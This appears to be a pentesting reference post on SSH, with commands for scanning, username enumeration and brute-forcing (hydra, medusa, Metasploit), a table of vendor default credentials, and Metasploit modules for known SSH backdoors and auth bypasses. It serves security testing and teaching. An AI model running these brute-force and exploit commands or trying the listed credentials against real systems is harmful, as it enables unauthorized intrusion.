Home SSH Pentesting Best Practices
Post
Cancel

SSH Pentesting Best Practices

SSH

SSH usually uses port 22

What is SSH?

Untitled

SSH or Secure Shell is a network communication protocol that enables two computers to communicate (c.f http or hypertext transfer protocol, which is the protocol used to transfer hypertext such as web pages) and share data. An inherent feature of ssh is that the communication between the two computers is encrypted meaning that it is suitable for use on insecure networks.

1
2
PORT     STATE SERVICE               VERSION
22/tcp   open  ssh                   OpenSSH4.7p1 Debian 8ubuntu1 (protocol 2.0)

SSH Working Principle

The protocol works in the client-server model, which means that the connection is established by the SSH client connecting to the SSH server. The SSH client drives the connection setup process and uses public key cryptography to verify the identity of the SSH server. After the setup phase the SSH protocol uses strong symmetric encryption and hashing algorithms to ensure the privacy and integrity of the data that is exchanged between the client and server.

The figure below presents a simplified setup flow of a secure shell connection.

client- ssh-server connection client- ssh-server connection

SSH Pentesting

https://www.shodan.io/static/img/favicon.png Shodan search query :
port:22
openssh -port:22
1
2
3
4
5
6
7
8
9
10
11
12
13
14
telnet 10.10.x.x 22
nc -nv 10.10.x.x 22
scanssh -p -r -e excludes 10.10.x.x/24 (https://www.monkey.org/~provos/scanssh/)

#Metasploit Framework:
msf > use auxiliary/scanner/ssh/ssh_version
msf > use auxiliary/scanner/ssh/detect_kippo #This module will detect if an SSH server is running a Kippo honeypot

#Nmap Scripts:
nmap -sC -p22 10.10.x.x  # Send default nmap scripts for SSH
nmap -sV -p22 10.10.x.x # Retrieve version
nmap -p22 10.10.x.x --script ssh2-enum-algos # Retrieve supported algorythms 
nmap -p22 10.10.x.x --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 10.10.x.x --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

SH Banner Grabbing with nmap banner script SSH Banner Grabbing with nmap banner script

Untitled

Supported Authentication Methods (password, private key)

1
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=<username>" 10.10.x.x

ssh authentication methods enumeration with nmap script ssh authentication methods enumeration with nmap script

SSH Connection Tools

Linux & Mac

1
2
3
ssh username@10.10.x.x #If ssh is running on another port, the -p parameter should be used.
#IPv6: 
ssh username@fe80::b0ec:afd2:a932:252c%9

Windows:

  • Putty
  • Filezilla
  • Winscp

SSH Credentials

SSH Brute Forcing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#Metasploit ssh brute force
msf > use auxiliary/scanner/ssh/ssh_login

#Metasploit username enumeration with brute force
use auxiliary/scanner/ssh/ssh_enumusers

#Nmap Brute Force
nmap -p 22 --script ssh-brute --script-args userdb=users.list,passdb=pass.list \--script-args ssh-brute.timeout=4s 10.10.x.x

#Other Brute Forcing Methods
hydra -L users.txt -P passwords.txt ssh://10.10.x.x -t 8
medusa -t 2 -T2 -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -H /root/Desktop/host.txt -n 22 -M ssh
ncrack -g CL=2 -U users.list -P passwords.list -iL targetIPs.list -p ssh:22 -oA Results.txt
patator ssh_login host=10.10.x.x user=FILE0 password=FILE1 0=users.list 1=passwords.list persistent=0 -x ignore:mesg=’Authentication failed.’
./guess-who -l username -h 10.10.x.x -p 22 -2 < passwords.list (https://packetstormsecurity.com/groups/teso/guess-who-0.44.tgz)

SSH Default Credentials for Vendors

VendorUsernamePassword
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opiMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

Vulnerabilities

Specific Vulnerabilities and Exploits

1
2
3
4
5
6
7
8
9
10
11
12
13
#Fortinet SSH backdoor [CVE-2016-1909]
msf > auxiliary/scanner/ssh/fortinet_backdoor

#JuniperSSH backdoor [CVE-2015-7755]
msf > auxiliary/scanner/ssh/juniper_backdoor

#F5 BIG-IP < 9.4.8-HF5, 10.2.4, 11.0.0-HF2, 11.1.0-HF3; Enterprise Manager < 2.1.0-HF2, 2.2.0-HF1, 2.3.0-HF3 [CVE-2012-1493]
msf > exploit/linux/ssh/f5_bigip_known_privkey

#Freesshd <= 1.2.6 / Windows (Universal) [CVE-2012-6066]
FreeBSD OpenSSH 3.5.p1
Exploit-DB: 17462.txt
msf > exploit/windows/ssh/freesshd_authbypass

Some Tips

List of some static Host and Authentication keys:

GitHub - rapid7/ssh-badkeys: A collection of static SSH keys (public and private) that have made their way into software and hardware products.
GitHub Repo for static Host and Authentication keys

The keys of the previously connected servers can be listed on the compromised computer.

1
ssh-keyscan -t rsa,dsa,ecdsa,ed25519 -p 22 10.10.x.x

The keys of the previously connected servers on the compromised computer. The keys of the previously connected servers on the compromised computer.

Running a command over SSH with a key

1
ssh -o PasswordAuthentication=no -o BatchMode=yes -v -p 22 -i key -l username 10.10.x.x 'command'

SFTP Tunneling

1
sudo ssh -L <local-port>:10.10.x.x:<remote-port> -N -f username@10.10.x.x
This post is licensed under CC BY 4.0 by the author.

DNS Pentesting Best Practices

DHCP Pentesting Best Practices

Comments powered by Disqus.

Powered by 0xhav0c © 2022